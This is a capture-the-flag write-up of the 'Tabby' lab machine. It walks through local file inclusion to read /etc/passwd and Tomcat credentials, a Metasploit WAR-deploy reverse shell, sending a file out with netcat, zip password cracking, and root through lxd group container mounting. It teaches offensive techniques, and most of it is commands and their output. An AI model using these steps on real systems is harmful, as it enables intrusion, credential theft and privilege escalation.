“Tabby” is an easy-level Linux machine created by egre55. This machine focused on Local File Inclusion vulnerability to extract data, then fuzzing to get the right directory as the initial foothold. To get user, it focuses on “Tomcat’s deploy” vulnerability to get a shell. Then cracking a zip password which also turns to be a user’s password and then logging as that user to get user flag. And finally to exploit group permission to gain root. So let’s get this started.
Performing the regular nmap scan as nmap -sCV -A tabby.htb gives us:
# Nmap 7.80 scan initiated Tue Jun 23 07:17:57 2020 as: nmap -sCV -A -oA scan/tabby tabby.htb
Nmap scan report for tabby.htb (10.10.10.194)
Host is up (0.26s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/23%OT=22%CT=1%CU=43131%PV=Y%DS=2%DC=T%G=Y%TM=5EF1ACE
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS(
OS:O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11
OS:NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
OS:R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=
OS:Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=
OS:R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T
OS:=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=
OS:S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 21/tcp)
HOP RTT ADDRESS
1 520.84 ms 10.10.14.1
2 521.38 ms tabby.htb (10.10.10.194)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jun 23 07:19:08 2020 -- 1 IP address (1 host up) scanned in 72.21 seconds
I first checked the website at port 80 and found a hosting website.
The very first thing that caught my eye was…
We have recently upgraded several services. Our servers are now more secure than ever. Read our statement on recovering from the data breach
So I checked the page and it couldn’t be loaded because of different hostname, so I added it to my hosts file and reloaded the page.
Again, one particular thing caught my eye, the URL.
http://megahosting.htb/news.php?file=statement
This type of URL (xxx.php?abc=def) is a potential candidate for LFI (local file inclusion). So I tested it with curl and found that it was vulnerable to LFI attack!
$ curl -i http://megahosting.htb/news.php?file=../../../../../../etc/passwd
HTTP/1.1 200 OK
Date: Thu, 25 Jun 2020 17:15:49 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1850
Content-Type: text/html; charset=UTF-8
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
So this proved that it is vulnerable to LFI, now I moved ahead with port 8080 looking for some path to some sensitive data. The webpage on port 8080 read…
Sweet! It told me of a file name “tomcat-users.xml” which could contain user credentials. Now I just needed to grab it. But it wasn’t (exactly) in the location mentioned in the webpage. So I fuzzed for the correct lcoation. But before doing that I narrowed the location to /usr/share/tomcat9 from this line…
Tomcat veterans might be pleased to learn that this system instance of Tomcat is installed with CATALINA_HOME in /usr/share/tomcat9
I first stopped this search and started some recon in the background. I ran gobuster on this site…
$ gobuster dir -u http://tabby.htb:8080/ -w /usr/share/wordlist/dirb/common.txt -t 20
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://tabby.htb:8080/
[+] Threads: 20
[+] Wordlist: /usr/share/wordlist/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/25 17:58:10 Starting gobuster
===============================================================
/data (Status: 302)
/docs (Status: 302)
/examples (Status: 302)
/host-manager (Status: 302)
/index.html (Status: 200)
/manager (Status: 302)
/test (Status: 302)
/webapps (Status: 302)
===============================================================
2020/06/25 17:59:00 Finished
===============================================================
And then I used wfuzz to find the user file while the scan was running and…
$ wfuzz -u http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml -w /usr/share/wordlist/dirb/common.txt --hc 404 --hl 0 -t 20
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/FUZZ/tomcat-users.xml
Total requests: 4614
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000001505: 200 47 L 289 W 2325 Ch "etc"
Total time: 49.88253
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 92.49730
…found the missing path! So now I retrieved the file using curl:
$ curl -i http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml [20/603]
HTTP/1.1 200 OK
Date: Thu, 25 Jun 2020 17:48:14 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2325
Content-Type: text/html; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
and got creds back for user tomcat. Now I returned back to the gobuster result and started with the most obvious ones such as manager and host-manager. And found out that the user tomcat has some ‘autodeploy’ functionality.
Upon looking it up on google, I found out on rapid7’s site that it was vulnerable to malformed JSP application in form of a WAR Archive. So I started msfconsole, loaded the exploit, initialised all the options and ran the exploit and BAM! I got a shell back!
msf5 > use exploit/multi/http/tomcat_mgr_deploy
msf5 exploit(multi/http/tomcat_mgr_deploy) > set rhosts megahosting.htb
msf5 exploit(multi/http/tomcat_mgr_deploy) > set rport 8080
msf5 exploit(multi/http/tomcat_mgr_deploy) > set path /manager/text
msf5 exploit(multi/http/tomcat_mgr_deploy) > set httpusername tomcat
msf5 exploit(multi/http/tomcat_mgr_deploy) > set httppassword $3cureP4s5w0rd123!
msf5 exploit(multi/http/tomcat_mgr_deploy) > set target 1
msf5 exploit(multi/http/tomcat_mgr_deploy) > set payload 11
msf5 exploit(multi/http/tomcat_mgr_deploy) > exploit
[*] Started reverse TCP handler on 10.10.15.198:4444
[*] Using manually select target "Java Universal"
[*] Uploading 13410 bytes as MUkUeX6ifWygZWAvBG.war ...
[*] Executing /MUkUeX6ifWygZWAvBG/HOksPT99BSdi64zO4bHR.jsp...
[*] Undeploying MUkUeX6ifWygZWAvBG ...
[*] Command shell session 1 opened (10.10.15.198:4444 -> 10.10.10.194:40508) at 2020-06-25 18:15:27 +0000
id && hostname
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
tabby
You can also use msfvenom to generate payload and upload it manually.
For the target and payload I chose Java Universal and java/shell_reverse_tcp respectively, but it would also work with the Linux target. And as for the path, I initially tried the default /manager location but it didn’t work so I looked-up into Tomcat7’s documentation and found that the default deploy script is ran from /manager/text path.
After basic enumeration I found a backup zip file in the /var/www/html/files directory.
tomcat@tabby:/var/www/html/files$ ls -l
ls -l
total 28
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 16162020_backup.zip
I transferred this to my system using netcat…
tomcat@tabby:/var/www/html/files$ nc 10.10.14.72 6969 < 16162020_backup.zip
$ nc -nlvp 6969 > backup.zip
But when I tried to unzip it, it asked for a password! So I used zip2john to convert it into john’s cracking format.
$ zip2john backup.zip >> backup.zip.john
backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
Then used john to crack it.
$ john backup.zip.john -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (backup.zip)
1g 0:00:00:02 DONE (2020-06-23 10:51) 0.4524g/s 4689Kp/s 4689Kc/s 4689KC/s adnc153..adenabuck
Use the "--show" option to display all of the cracked passwords reliably
Session completed
But upon checking the zip file after unzipping it with the password, there was nothing useful or even suspicious. So I tried using this password somewhere else (and believe me, almost everyone tend to use the same password multiple places!). So I first found all the users with terminal access using the command…
tomcat@tabby:~$ cat /etc/passwd | awk -F ':' '/sh$/ {print}'
root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:clive:/home/ash:/bin/bash
You can check my beginner’s guide to awk for understanding this.
I tried logging in with SSH as user ‘ash’ but it didnt’ work, so next I tried using su and it worked!
tomcat@tabby:~$ su - ash
Password: admin@it
ash@tabby:~$
And this user gives us the user flag.
I again tried the same thing I do everytime I get user flag, I ran the sudo -l command to check the commands I can run as superuser and id to check the groups in which the user belongs. Since the user ‘ash’ isn’t allowed to run sudo, sudo -l couldn’t run, but the id command told me that user ‘ash’ belongs to many groups, one of which is the ‘lxd’ group.
ash@tabby:~$ id
id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
LXD, according to the official definition is…
a next generation system container manager. It offers a user experience similar to virtual machines but using Linux containers instead.
So it’s basically a hypervisor! I thought there could an exploit for this too, similar to docker exploit and looked up for it on search engines and found this hacking articles’ article.
So I followed the steps and cloned the image off github. Then built the image:
$ ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://dl-cdn.alpinelinux.org/alpine/v3.12/main
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r10)
Executing openrc-0.42.1-r10.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
Then copied the newly formed .tar.gz file into the machine using python server
$ python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.10.10.194 - - [28/Jun/2020 08:23:29] "GET /alpine-v3.12-x86_64-20200624_0856.tar.gz HTTP/1.1" 200 -
ash@tabby:/tmp$ wget 10.10.14.72:8888/alpine-v3.12-x86_64-20200624_0856.tar.gz
--2020-06-28 08:41:33-- http://10.10.14.72:8888/alpine-v3.12-x86_64-20200624_0856.tar.gz
Connecting to 10.10.14.72:8888... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3188890 (3.0M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200624_0856.tar.gz’
alpine-v3.12-x86_64 100%[===================>] 3.04M 89.4KB/s in 34s
2020-06-28 08:42:07 (92.6 KB/s) - ‘alpine-v3.12-x86_64-20200624_0856.tar.gz’ saved [3188890/3188890]
Then I initialised lxd using lxd init
ash@tabby:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
Then I imported the image using image import parameter and checked whether it’s listed or not:
ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200624_0856.tar.gz --alias meh
<lpine-v3.12-x86_64-20200628_0817.tar.gz --alias meh
ash@tabby:~$ lxc image list
lxc image list
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 6e48b2670507 | no | alpine v3.12 (20200624_13:27) | x86_64 | CONTAINER | 3.05MB | Jun 24, 2020 at 8:29am (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| meh | af1e10135b40 | no | alpine v3.12 (20200624_08:17) | x86_64 | CONTAINER | 3.04MB | Jun 24, 2020 at 8:55am (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
Now for the last part, I gave it all the rest of the commands listed in the article…
ash@tabby:~$ lxc init meh ignite -c security.privileged=true
Creating ignite
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
<ydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
ash@tabby:~$ lxc start ignite
lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh
#
This gives us the /root directory mounted on /mnt/root, which we can access and grab the root flag!
NOTE: You can grab the private SSH key of root and then login using that key as well for easy access now!
